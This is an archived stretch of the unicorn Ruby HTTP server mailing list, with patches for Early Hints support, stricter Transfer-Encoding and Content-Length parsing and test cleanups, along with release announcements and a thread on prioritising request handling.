> # sets listeners to the given +addresses+, replacing or augmenting the
> # current set. This is for the global listener pool shared by all
> # worker processes. For per-worker listeners, see the after_fork example
> diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
> index 45a2e97..3e0c9a4 100644
> --- a/lib/unicorn/http_server.rb
> +++ b/lib/unicorn/http_server.rb
> @@ -15,7 +15,7 @@ class Unicorn::HttpServer
> :before_fork, :after_fork, :before_exec,
> :listener_opts, :preload_app,
> :orig_app, :config, :ready_pipe, :user,
> - :default_middleware
> + :default_middleware, :early_hints
> attr_writer :after_worker_exit, :after_worker_ready, :worker_exec
>
> attr_reader :pid, :logger
> @@ -588,6 +588,27 @@ def handle_error(client, e)
> rescue
> end
>
> + def e103_response_write(client, headers)
> + response = if @request.response_start_sent
> + "103 Early Hints\r\n"
> + else
> + "HTTP/1.1 103 Early Hints\r\n"
> + end
> +
> + headers.each_pair do |k, vs|
> + if vs.respond_to?(:to_s) && !vs.to_s.empty?
> + vs.to_s.split("\n".freeze).each do |v|
Are the method calls for .to_s necessary? At least for regular
Rack responses, this bit from unicorn/http_response.rb seems to
handle odd apps which (improperly) give `nil' value:
if value =~ /\n/
# avoiding blank, key-only cookies with /\n+/
value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
else
buf << "#{key}: #{value}\r\n"
end
The split would never be attempted on nil since it wouldn't
match /\n/, and the /\n+/ was needed in the Rails 2.3.5 days:
https://public-inbox.org/rack-devel/20100105235845.GB3377@dcvr.yhbt.net/
https://yhbt.net/unicorn-public/52400de1c9e9437b5c9df899f273485f663bb5b5/s/
> + response << "#{k}: #{v}\r\n"
> + end
> + else
> + response << "#{k}: #{vs}\r\n"
> + end
> + end
> + response << "\r\n".freeze
> + response << "HTTP/1.1 ".freeze if @request.response_start_sent
> + client.write(response)
> + end
> +
> def e100_response_write(client, env)
> # We use String#freeze to avoid allocations under Ruby 2.1+
> # Not many users hit this code path, so it's better to reduce the
> @@ -602,7 +623,15 @@ def e100_response_write(client, env)
> # once a client is accepted, it is processed in its entirety here
> # in 3 easy steps: read request, call app, write app response
> def process_client(client)
> - status, headers, body = @app.call(env = @request.read(client))
> + env = @request.read(client)
> +
> + if early_hints
> + env["rack.early_hints"] = lambda do |headers|
> + e103_response_write(client, headers)
> + end
> + end
Eep, extra branch... What's the performance impact for existing
users when not activated? (on Unix sockets).
Perhaps bypassing the method and accessing the @early_hints ivar
directly can be slightly faster w/o method dispatch. That
should also allow using attr_writer instead of attr_accessor,
I think.
Not sure how much people here care about minor performance
regressions, here... I don't really upgrade or touch old
Rack apps, anymore; and I'm certainly never going to buy
a faster CPU.
> + status, headers, body = @app.call(env)
>
> begin
> return if @request.hijacked?
^ permalink raw reply [relevance 0%]
* [PATCH] Add early hints support
@ 2020-07-16 10:05 11% Jean Boussier
2020-07-16 10:50 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-07-16 10:05 UTC (permalink / raw)
To: unicorn-public
While not part of the rack spec, this API is exposed
by both puma and falcon, and Rails use it when available.
The 103 Early Hints response code is specified in RFC 8297.
---
lib/unicorn/configurator.rb | 5 +++++
lib/unicorn/http_server.rb | 33 +++++++++++++++++++++++++++++++--
test/unit/test_server.rb | 30 ++++++++++++++++++++++++++++++
3 files changed, 66 insertions(+), 2 deletions(-)
diff --git a/lib/unicorn/configurator.rb b/lib/unicorn/configurator.rb
index c3a4f2d..43e91f4 100644
--- a/lib/unicorn/configurator.rb
+++ b/lib/unicorn/configurator.rb
@@ -276,6 +276,11 @@ def default_middleware(bool)
set_bool(:default_middleware, bool)
end
+ # sets wether to enable rack's early hints API.
+ def early_hints(bool)
+ set_bool(:early_hints, bool)
+ end
+
# sets listeners to the given +addresses+, replacing or augmenting the
# current set. This is for the global listener pool shared by all
# worker processes. For per-worker listeners, see the after_fork example
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 45a2e97..3e0c9a4 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -15,7 +15,7 @@ class Unicorn::HttpServer
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
:orig_app, :config, :ready_pipe, :user,
- :default_middleware
+ :default_middleware, :early_hints
attr_writer :after_worker_exit, :after_worker_ready, :worker_exec
attr_reader :pid, :logger
@@ -588,6 +588,27 @@ def handle_error(client, e)
rescue
end
+ def e103_response_write(client, headers)
+ response = if @request.response_start_sent
+ "103 Early Hints\r\n"
+ else
+ "HTTP/1.1 103 Early Hints\r\n"
+ end
+
+ headers.each_pair do |k, vs|
+ if vs.respond_to?(:to_s) && !vs.to_s.empty?
+ vs.to_s.split("\n".freeze).each do |v|
+ response << "#{k}: #{v}\r\n"
+ end
+ else
+ response << "#{k}: #{vs}\r\n"
+ end
+ end
+ response << "\r\n".freeze
+ response << "HTTP/1.1 ".freeze if @request.response_start_sent
+ client.write(response)
+ end
+
def e100_response_write(client, env)
# We use String#freeze to avoid allocations under Ruby 2.1+
# Not many users hit this code path, so it's better to reduce the
@@ -602,7 +623,15 @@ def e100_response_write(client, env)
# once a client is accepted, it is processed in its entirety here
# in 3 easy steps: read request, call app, write app response
def process_client(client)
- status, headers, body = @app.call(env = @request.read(client))
+ env = @request.read(client)
+
+ if early_hints
+ env["rack.early_hints"] = lambda do |headers|
+ e103_response_write(client, headers)
+ end
+ end
+
+ status, headers, body = @app.call(env)
begin
return if @request.hijacked?
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 8096955..d706243 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -23,6 +23,16 @@ def call(env)
end
end
+class TestEarlyHintsHandler
+ def call(env)
+ while env['rack.input'].read(4096)
+ end
+ env['rack.early_hints'].call(
+ "Link" => "</style.css>; rel=preload; as=style\n</script.js>; rel=preload"
+ )
+ [200, { 'Content-Type' => 'text/plain' }, ['hello!\n']]
+ end
+end
class WebServerTest < Test::Unit::TestCase
@@ -84,6 +94,26 @@ def test_preload_app_config
tmp.close!
end
+ def test_early_hints
+ teardown
+ redirect_test_io do
+ @server = HttpServer.new(TestEarlyHintsHandler.new,
+ :listeners => [ "127.0.0.1:#@port"],
+ :early_hints => true)
+ @server.start
+ end
+
+ sock = TCPSocket.new('127.0.0.1', @port)
+ sock.syswrite("GET / HTTP/1.0\r\n\r\n")
+
+ responses = sock.sysread(4096)
+ assert_match %r{\AHTTP/1.[01] 103\b}, responses
+ assert_match %r{^Link: </style\.css>}, responses
+ assert_match %r{^Link: </script\.js>}, responses
+
+ assert_match %r{^HTTP/1.[01] 200\b}, responses
+ end
+
def test_broken_app
teardown
app = lambda { |env| raise RuntimeError, "hello" }
--
2.26.2
^ permalink raw reply related [relevance 11%]
* Re: [ruby-core:99184] [Ruby master Bug#17023] How to prevent String memory to be relocated in ruby-ffi
[not found] ` <redmine.journal-86563.20200715200039.5550@ruby-lang.org>
@ 2020-07-15 23:35 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-07-15 23:35 UTC (permalink / raw)
To: ruby-core; +Cc: unicorn-public
tenderlove@ruby-lang.org wrote:
> Right, that makes sense. I really need to document this (and
> I apologize for not doing so already), but
> `rb_gc_register_address` will pin your objects. When you know
> you're done with the reference, you can release it with
> `rb_gc_unregister_address`. Of course if you don't call the
> unregister function, the reference will stay alive forever.
Btw, does rb_gc_register_mark_object pin? A quick glance at
gc.c tells me it doesn't, and I'll need to revert commit
2a6cb76d5010cb763ef5a2c305728465d15eb7c9 in unicorn:
https://yhbt.net/unicorn-public/20181226050857.6413-1-e@80x24.org/
Anyways, it takes me too long to compile Ruby so I'm back to
running whatever my distro ships. I haven't been able to
test GC.compact at all.
> https://bugs.ruby-lang.org/issues/17023#change-86563
^ permalink raw reply [relevance 2%]
* [PATCH] http: improve RFC 7230 conformance
@ 2020-03-19 2:28 5% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-03-19 2:28 UTC (permalink / raw)
To: unicorn-public
We need to favor "Transfer-Encoding: chunked" over
"Content-Length" in the request header if they both exist.
Furthermore, we now reject redundant chunking and cases where
"chunked" is not the final encoding.
We currently do not and have no plans to decode "gzip",
"deflate", or "compress" encoding as described by RFC 7230.
That's a job more appropriate for middleware, anyways.
cf. https://tools.ietf.org/html/rfc7230
https://www.rfc-editor.org/errata_search.php?rfc=7230
---
ext/unicorn_http/unicorn_http.rl | 46 ++++++++++++++++--
lib/unicorn/http_request.rb | 11 +++++
test/unit/test_http_parser_ng.rb | 81 ++++++++++++++++++++++++++++++++
3 files changed, 134 insertions(+), 4 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index dfe3a63..21e09d6 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -62,7 +62,8 @@ struct http_parser {
} len;
};
-static ID id_set_backtrace;
+static ID id_set_backtrace, id_is_chunked_p;
+static VALUE cHttpParser;
#ifdef HAVE_RB_HASH_CLEAR /* Ruby >= 2.0 */
# define my_hash_clear(h) (void)rb_hash_clear(h)
@@ -220,6 +221,19 @@ static void write_cont_value(struct http_parser *hp,
rb_str_buf_cat(hp->cont, vptr, end + 1);
}
+static int is_chunked(VALUE v)
+{
+ /* common case first */
+ if (STR_CSTR_CASE_EQ(v, "chunked"))
+ return 1;
+
+ /*
+ * call Ruby function in unicorn/http_request.rb to deal with unlikely
+ * comma-delimited case
+ */
+ return rb_funcall(cHttpParser, id_is_chunked_p, 1, v) != Qfalse;
+}
+
static void write_value(struct http_parser *hp,
const char *buffer, const char *p)
{
@@ -246,7 +260,9 @@ static void write_value(struct http_parser *hp,
f = uncommon_field(field, flen);
} else if (f == g_http_connection) {
hp_keepalive_connection(hp, v);
- } else if (f == g_content_length) {
+ } else if (f == g_content_length && !HP_FL_TEST(hp, CHUNKED)) {
+ if (hp->len.content)
+ parser_raise(eHttpParserError, "Content-Length already set");
hp->len.content = parse_length(RSTRING_PTR(v), RSTRING_LEN(v));
if (hp->len.content < 0)
parser_raise(eHttpParserError, "invalid Content-Length");
@@ -254,9 +270,30 @@ static void write_value(struct http_parser *hp,
HP_FL_SET(hp, HASBODY);
hp_invalid_if_trailer(hp);
} else if (f == g_http_transfer_encoding) {
- if (STR_CSTR_CASE_EQ(v, "chunked")) {
+ if (is_chunked(v)) {
+ if (HP_FL_TEST(hp, CHUNKED))
+ /*
+ * RFC 7230 3.3.1:
+ * A sender MUST NOT apply chunked more than once to a message body
+ * (i.e., chunking an already chunked message is not allowed).
+ */
+ parser_raise(eHttpParserError, "Transfer-Encoding double chunked");
+
HP_FL_SET(hp, CHUNKED);
HP_FL_SET(hp, HASBODY);
+
+ /* RFC 7230 3.3.3, 3: favor chunked if Content-Length exists */
+ hp->len.content = 0;
+ } else if (HP_FL_TEST(hp, CHUNKED)) {
+ /*
+ * RFC 7230 3.3.3, point 3 states:
+ * If a Transfer-Encoding header field is present in a request and
+ * the chunked transfer coding is not the final encoding, the
+ * message body length cannot be determined reliably; the server
+ * MUST respond with the 400 (Bad Request) status code and then
+ * close the connection.
+ */
+ parser_raise(eHttpParserError, "invalid Transfer-Encoding");
}
hp_invalid_if_trailer(hp);
} else if (f == g_http_trailer) {
@@ -931,7 +968,7 @@ static VALUE HttpParser_rssget(VALUE self)
void Init_unicorn_http(void)
{
- VALUE mUnicorn, cHttpParser;
+ VALUE mUnicorn;
mUnicorn = rb_define_module("Unicorn");
cHttpParser = rb_define_class_under(mUnicorn, "HttpParser", rb_cObject);
@@ -991,5 +1028,6 @@ void Init_unicorn_http(void)
#ifndef HAVE_RB_HASH_CLEAR
id_clear = rb_intern("clear");
#endif
+ id_is_chunked_p = rb_intern("is_chunked?");
}
#undef SET_GLOBAL
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index bcc1f2d..6ca4592 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -188,4 +188,15 @@ def write_http_header(socket) # :nodoc:
HTTP_RESPONSE_START.each { |c| socket.write(c) }
end
end
+
+ # called by ext/unicorn_http/unicorn_http.rl via rb_funcall
+ def self.is_chunked?(v) # :nodoc:
+ vals = v.split(/[ \t]*,[ \t]*/).map!(&:downcase)
+ if vals.pop == 'chunked'.freeze
+ return true unless vals.include?('chunked'.freeze)
+ raise Unicorn::HttpParserError, 'double chunked', []
+ end
+ return false unless vals.include?('chunked'.freeze)
+ raise Unicorn::HttpParserError, 'chunked not last', []
+ end
end
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index d186f5a..425d5ad 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -11,6 +11,20 @@ def setup
@parser = HttpParser.new
end
+ # RFC 7230 allows gzip/deflate/compress Transfer-Encoding,
+ # but "chunked" must be last if used
+ def test_is_chunked
+ [ 'chunked,chunked', 'chunked,gzip', 'chunked,gzip,chunked' ].each do |x|
+ assert_raise(HttpParserError) { HttpParser.is_chunked?(x) }
+ end
+ [ 'gzip, chunked', 'gzip,chunked', 'gzip ,chunked' ].each do |x|
+ assert HttpParser.is_chunked?(x)
+ end
+ [ 'gzip', 'xhunked', 'xchunked' ].each do |x|
+ assert !HttpParser.is_chunked?(x)
+ end
+ end
+
def test_parser_max_len
assert_raises(RangeError) do
HttpParser.max_header_len = 0xffffffff + 1
@@ -566,6 +580,73 @@ def test_invalid_content_length
end
end
+ def test_duplicate_content_length
+ str = "PUT / HTTP/1.1\r\n" \
+ "Content-Length: 1\r\n" \
+ "Content-Length: 9\r\n" \
+ "\r\n"
+ assert_raises(HttpParserError) { @parser.headers({}, str) }
+ end
+
+ def test_chunked_overrides_content_length
+ order = [ 'Transfer-Encoding: chunked', 'Content-Length: 666' ]
+ %w(a b).each do |x|
+ str = "PUT /#{x} HTTP/1.1\r\n" \
+ "#{order.join("\r\n")}" \
+ "\r\n\r\na\r\nhelloworld\r\n0\r\n\r\n"
+ order.reverse!
+ env = @parser.headers({}, str)
+ assert_nil @parser.content_length
+ assert_equal 'chunked', env['HTTP_TRANSFER_ENCODING']
+ assert_equal '666', env['CONTENT_LENGTH'],
+ 'Content-Length logged so the app can log a possible client bug/attack'
+ @parser.filter_body(dst = '', str)
+ assert_equal 'helloworld', dst
+ @parser.parse # handle the non-existent trailer
+ assert @parser.next?
+ end
+ end
+
+ def test_chunked_order_good
+ str = "PUT /x HTTP/1.1\r\n" \
+ "Transfer-Encoding: gzip\r\n" \
+ "Transfer-Encoding: chunked\r\n" \
+ "\r\n"
+ env = @parser.headers({}, str)
+ assert_equal 'gzip,chunked', env['HTTP_TRANSFER_ENCODING']
+ assert_nil @parser.content_length
+
+ @parser.clear
+ str = "PUT /x HTTP/1.1\r\n" \
+ "Transfer-Encoding: gzip, chunked\r\n" \
+ "\r\n"
+ env = @parser.headers({}, str)
+ assert_equal 'gzip, chunked', env['HTTP_TRANSFER_ENCODING']
+ assert_nil @parser.content_length
+ end
+
+ def test_chunked_order_bad
+ str = "PUT /x HTTP/1.1\r\n" \
+ "Transfer-Encoding: chunked\r\n" \
+ "Transfer-Encoding: gzip\r\n" \
+ "\r\n"
+ assert_raise(HttpParserError) { @parser.headers({}, str) }
+ end
+
+ def test_double_chunked
+ str = "PUT /x HTTP/1.1\r\n" \
+ "Transfer-Encoding: chunked\r\n" \
+ "Transfer-Encoding: chunked\r\n" \
+ "\r\n"
+ assert_raise(HttpParserError) { @parser.headers({}, str) }
+
+ @parser.clear
+ str = "PUT /x HTTP/1.1\r\n" \
+ "Transfer-Encoding: chunked,chunked\r\n" \
+ "\r\n"
+ assert_raise(HttpParserError) { @parser.headers({}, str) }
+ end
+
def test_backtrace_is_empty
begin
@parser.headers({}, "AAADFSFDSFD\r\n\r\n")
^ permalink raw reply related [relevance 5%]
* [ANN] unicorn 5.5.3 - Rack HTTP server for fast clients and *nix
@ 2020-01-31 20:48 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-01-31 20:48 UTC (permalink / raw)
To: ruby-talk, unicorn-public
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby back decades in terms of concurrency.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
Changes:
unicorn 5.5.3
Documentation updates to switch bogomips.org to yhbt.net since
the .org TLD won't be affordable in the near future.
There's also a few minor test cleanups.
80x24.org and public-inbox.org will be dead on expiry, too;
but I don't think I'll be around to care by then.
^ permalink raw reply [relevance 2%]
* [PATCH 3/3] test_upload: use spawn to simplify redirects
2020-01-26 5:33 10% [PATCH 0/3] minor test golfing to make worktree smaller Eric Wong
2020-01-26 5:33 12% ` [PATCH 1/3] test/exec/test_exec: bring worker_processes down to 2 Eric Wong
2020-01-26 5:33 8% ` [PATCH 2/3] test_helper: remove unused `chunked_spawn' Eric Wong
@ 2020-01-26 5:33 8% ` Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-01-26 5:33 UTC (permalink / raw)
To: unicorn-public
We can start using Ruby 1.9 APIs, nowadays (right?)
---
test/unit/test_upload.rb | 13 ++++---------
1 file changed, 4 insertions(+), 9 deletions(-)
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
index 5de02e4..8d90e50 100644
--- a/test/unit/test_upload.rb
+++ b/test/unit/test_upload.rb
@@ -236,15 +236,10 @@ def test_chunked_upload_via_curl
resp = Tempfile.new('resp')
resp.sync = true
- rd, wr = IO.pipe
- wr.sync = rd.sync = true
- pid = fork {
- STDIN.reopen(rd)
- rd.close
- wr.close
- STDOUT.reopen(resp)
- exec cmd
- }
+ rd, wr = IO.pipe.each do |io|
+ io.sync = io.close_on_exec = true
+ end
+ pid = spawn(*cmd, { 0 => rd, 1 => resp })
rd.close
tmp.rewind
^ permalink raw reply related [relevance 8%]
* [PATCH 1/3] test/exec/test_exec: bring worker_processes down to 2
2020-01-26 5:33 10% [PATCH 0/3] minor test golfing to make worktree smaller Eric Wong
@ 2020-01-26 5:33 12% ` Eric Wong
2020-01-26 5:33 8% ` [PATCH 2/3] test_helper: remove unused `chunked_spawn' Eric Wong
2020-01-26 5:33 8% ` [PATCH 3/3] test_upload: use spawn to simplify redirects Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-01-26 5:33 UTC (permalink / raw)
To: unicorn-public
My hardware gets worse and worse every year :<
---
test/exec/test_exec.rb | 16 +++++++++-------
1 file changed, 9 insertions(+), 7 deletions(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 8a6b43e..32734c1 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -45,8 +45,9 @@ def call(env)
COMMON_TMP = Tempfile.new('unicorn_tmp') unless defined?(COMMON_TMP)
+ HEAVY_WORKERS = 2
HEAVY_CFG = <<-EOS
-worker_processes 4
+worker_processes #{HEAVY_WORKERS}
timeout 30
logger Logger.new('#{COMMON_TMP.path}')
before_fork do |server, worker|
@@ -606,6 +607,7 @@ def test_unicorn_config_listen_augments_cli
def test_weird_config_settings
File.open("config.ru", "wb") { |fp| fp.syswrite(HI) }
ucfg = Tempfile.new('unicorn_test_config')
+ proc_total = HEAVY_WORKERS + 1 # + 1 for master
ucfg.syswrite(HEAVY_CFG)
pid = xfork do
redirect_test_io do
@@ -616,9 +618,9 @@ def test_weird_config_settings
results = retry_hit(["http://#{@addr}:#{@port}/"])
assert_equal String, results[0].class
wait_master_ready(COMMON_TMP.path)
- wait_workers_ready(COMMON_TMP.path, 4)
+ wait_workers_ready(COMMON_TMP.path, HEAVY_WORKERS)
bf = File.readlines(COMMON_TMP.path).grep(/\bbefore_fork: worker=/)
- assert_equal 4, bf.size
+ assert_equal HEAVY_WORKERS, bf.size
rotate = Tempfile.new('unicorn_rotate')
File.rename(COMMON_TMP.path, rotate.path)
@@ -630,20 +632,20 @@ def test_weird_config_settings
tries = DEFAULT_TRIES
log = File.readlines(rotate.path)
while (tries -= 1) > 0 &&
- log.grep(/reopening logs\.\.\./).size < 5
+ log.grep(/reopening logs\.\.\./).size < proc_total
sleep DEFAULT_RES
log = File.readlines(rotate.path)
end
- assert_equal 5, log.grep(/reopening logs\.\.\./).size
+ assert_equal proc_total, log.grep(/reopening logs\.\.\./).size
assert_equal 0, log.grep(/done reopening logs/).size
tries = DEFAULT_TRIES
log = File.readlines(COMMON_TMP.path)
- while (tries -= 1) > 0 && log.grep(/done reopening logs/).size < 5
+ while (tries -= 1) > 0 && log.grep(/done reopening logs/).size < proc_total
sleep DEFAULT_RES
log = File.readlines(COMMON_TMP.path)
end
- assert_equal 5, log.grep(/done reopening logs/).size
+ assert_equal proc_total, log.grep(/done reopening logs/).size
assert_equal 0, log.grep(/reopening logs\.\.\./).size
Process.kill(:QUIT, pid)
^ permalink raw reply related [relevance 12%]
* [PATCH 0/3] minor test golfing to make worktree smaller
@ 2020-01-26 5:33 10% Eric Wong
2020-01-26 5:33 12% ` [PATCH 1/3] test/exec/test_exec: bring worker_processes down to 2 Eric Wong
` (2 more replies)
0 siblings, 3 replies; 200+ results
From: Eric Wong @ 2020-01-26 5:33 UTC (permalink / raw)
To: unicorn-public
must. kill. code.
Eric Wong (3):
test/exec/test_exec: bring worker_processes down to 2
test_helper: remove unused `chunked_spawn'
test_upload: use spawn to simplify redirects
test/exec/test_exec.rb | 16 +++++++++-------
test/test_helper.rb | 26 --------------------------
test/unit/test_upload.rb | 13 ++++---------
3 files changed, 13 insertions(+), 42 deletions(-)
^ permalink raw reply [relevance 10%]
* [PATCH 2/3] test_helper: remove unused `chunked_spawn'
2020-01-26 5:33 10% [PATCH 0/3] minor test golfing to make worktree smaller Eric Wong
2020-01-26 5:33 12% ` [PATCH 1/3] test/exec/test_exec: bring worker_processes down to 2 Eric Wong
@ 2020-01-26 5:33 8% ` Eric Wong
2020-01-26 5:33 8% ` [PATCH 3/3] test_upload: use spawn to simplify redirects Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-01-26 5:33 UTC (permalink / raw)
To: unicorn-public
It was added nearly 11 years ago in commit 6945342a1f0a4caa
("Transfer-Encoding: chunked streaming input support") but
never used.
---
test/test_helper.rb | 26 --------------------------
1 file changed, 26 deletions(-)
diff --git a/test/test_helper.rb b/test/test_helper.rb
index c21f75d..94a5b1b 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -265,32 +265,6 @@ def wait_for_death(pid)
raise "PID:#{pid} never died!"
end
-# executes +cmd+ and chunks its STDOUT
-def chunked_spawn(stdout, *cmd)
- fork {
- crd, cwr = IO.pipe
- crd.binmode
- cwr.binmode
- crd.sync = cwr.sync = true
-
- pid = fork {
- STDOUT.reopen(cwr)
- crd.close
- cwr.close
- exec(*cmd)
- }
- cwr.close
- begin
- buf = crd.readpartial(16384)
- stdout.write("#{'%x' % buf.size}\r\n#{buf}")
- rescue EOFError
- stdout.write("0\r\n")
- pid, status = Process.waitpid(pid)
- exit status.exitstatus
- end while true
- }
-end
-
def reset_sig_handlers
%w(WINCH QUIT INT TERM USR1 USR2 HUP TTIN TTOU CHLD).each do |sig|
trap(sig, "DEFAULT")
^ permalink raw reply related [relevance 8%]
* [ANN] unicorn 5.5.2 - Rack HTTP server for fast clients and *nix
@ 2019-12-20 2:15 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2019-12-20 2:15 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Terry Scheingeld
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby back decades in terms of concurrency.
* https://bogomips.org/unicorn/
* public list: unicorn-public@bogomips.org
* mail archives: https://bogomips.org/unicorn-public/
* git clone https://bogomips.org/unicorn.git
* https://bogomips.org/unicorn/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
Changes:
Thanks to Terry Scheingeld, we now workaround a Ruby bug
and can now run with taint checks enabled:
<https://bugs.ruby-lang.org/issues/14485>
<https://bogomips.org/unicorn-public/CABg1sXrvGv9G6CDQxePDUqTe6N-5UpLXm7eG3YQO=dda-Cgg7A@mail.gmail.com/>
There's also a few documentation updates and building packages
from source is easier since pandoc is no longer a dependency
(and I can no longer afford the bandwidth or space to install
it).
Eric Wong (7):
test/benchmark/ddstream: demo for slowly reading clients
test/benchmark/readinput: demo for slowly uploading clients
test/benchmark/uconnect: test for accept loop speed
examples/unicorn@.service: note the NonBlocking flag
Merge remote-tracking branch 'origin/ts/tmpio'
test_util: get rid of some unused variables in tests
doc: replace pandoc-"Markdown" with real manpages
Terry Scheingeld (1):
tmpio: workaround File#path being tainted on unlink
havpbea: orngvat n qrnq ubefr hagvy gur fgvpx trgf fghpx va vg'f fxhyy
^ permalink raw reply [relevance 3%]
* Re: Traffic priority with Unicorn
@ 2019-12-18 22:06 2% ` Bertrand Paquet
0 siblings, 0 replies; 200+ results
From: Bertrand Paquet @ 2019-12-18 22:06 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On Tue, 17 Dec 2019 at 06:12, Eric Wong <bofh@yhbt.net> wrote:
>
> Bertrand Paquet <bertrand.paquet@doctolib.com> wrote:
> > Hello,
> >
> > I would like to introduce some traffic priority in Unicorn. The goal
> > is to keep critical endpoints online even if the application is
> > slowing down a lot.
> >
> > The idea is to classify the request at nginx level (by vhost, http
> > path, header or whatever), and send the queries to two different
> > unicorn sockets (opened by the same unicorn instance): one for high
> > priority request, one for low priority request.
> > I need to do some small modifications [1] in the unicorn worker loop
> > to process high priority requests first. It seems to work:
> > - I launch a first apache bench toward the low priority port
> > - I launch a second apache bench toward the high priority port
> > - Unicorn handles the queries only for that one, and stop answering to
> > the low priority traffic
>
> > [1] https://github.com/bpaquet/unicorn/commit/58d6ba2805d4399f680f97eefff82c407e0ed30f#
>
> Easier to view locally w/o JS/CSS using "git show -W" for context:
>
> $ git remote add bpaquet https://github.com/bpaquet/unicorn
> $ git fetch bpaquet
> $ git show -W 58d6ba28
> <snip>
> diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
> index 5334fa0c..976b728e 100644
> --- a/lib/unicorn/http_server.rb
> +++ b/lib/unicorn/http_server.rb
> @@ -676,53 +676,56 @@ def reopen_worker_logs(worker_nr)
> # runs inside each forked worker, this sits around and waits
> # for connections and doesn't die until the parent dies (or is
> # given a INT, QUIT, or TERM signal)
> def worker_loop(worker)
> ppid = @master_pid
> readers = init_worker_process(worker)
> nr = 0 # this becomes negative if we need to reopen logs
>
> # this only works immediately if the master sent us the signal
> # (which is the normal case)
> trap(:USR1) { nr = -65536 }
>
> ready = readers.dup
> + high_priority_reader = readers.first
> + last_processed_is_high_priority = false
> @after_worker_ready.call(self, worker)
>
> begin
> nr < 0 and reopen_worker_logs(worker.nr)
> nr = 0
> worker.tick = time_now.to_i
> tmp = ready.dup
> while sock = tmp.shift
> # Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
> # but that will return false
> if client = sock.kgio_tryaccept
> + last_processed_is_high_priority = sock == high_priority_reader
> process_client(client)
> nr += 1
> worker.tick = time_now.to_i
> end
> - break if nr < 0
> + break if nr < 0 || last_processed_is_high_priority
> end
>
> # make the following bet: if we accepted clients this round,
> # we're probably reasonably busy, so avoid calling select()
> # and do a speculative non-blocking accept() on ready listeners
> # before we sleep again in select().
> - unless nr == 0
> + unless nr == 0 || !last_processed_is_high_priority
> tmp = ready.dup
> redo
> end
>
> ppid == Process.ppid or return
>
> # timeout used so we can detect parent death:
> worker.tick = time_now.to_i
> ret = IO.select(readers, nil, nil, @timeout) and ready = ret[0]
> rescue => e
> redo if nr < 0 && readers[0]
> Unicorn.log_error(@logger, "listen loop error", e) if readers[0]
> end while readers[0]
> end
>
> # delivers a signal to a worker and fails gracefully if the worker
> # is no longer running.
>
> > The tradeoff are
> > - No more "bet"[2] on low priority traffic. This is probably slowing
> > down a little bit the low priority traffic.
>
> Yeah, but low priority is low priority, so it's fine to slow
> them down, right? :>
>
> > - This approach is only low / high. Not sure if I can extend it for 3
> > (or more) level of priority without a non negligible performance
> > impact (because of the "bet" above).
>
> I don't think it makes sense to have more than two levels of
> priority (zero, one, two, infinity rule?)
> <https://en.wikipedia.org/wiki/Zero_One_Infinity>
>
> > Do you think this approach is correct?
>
> readers order isn't guaranteed, especially when inheriting
> sockets from systemd or similar launchers.
Interesting point.
>
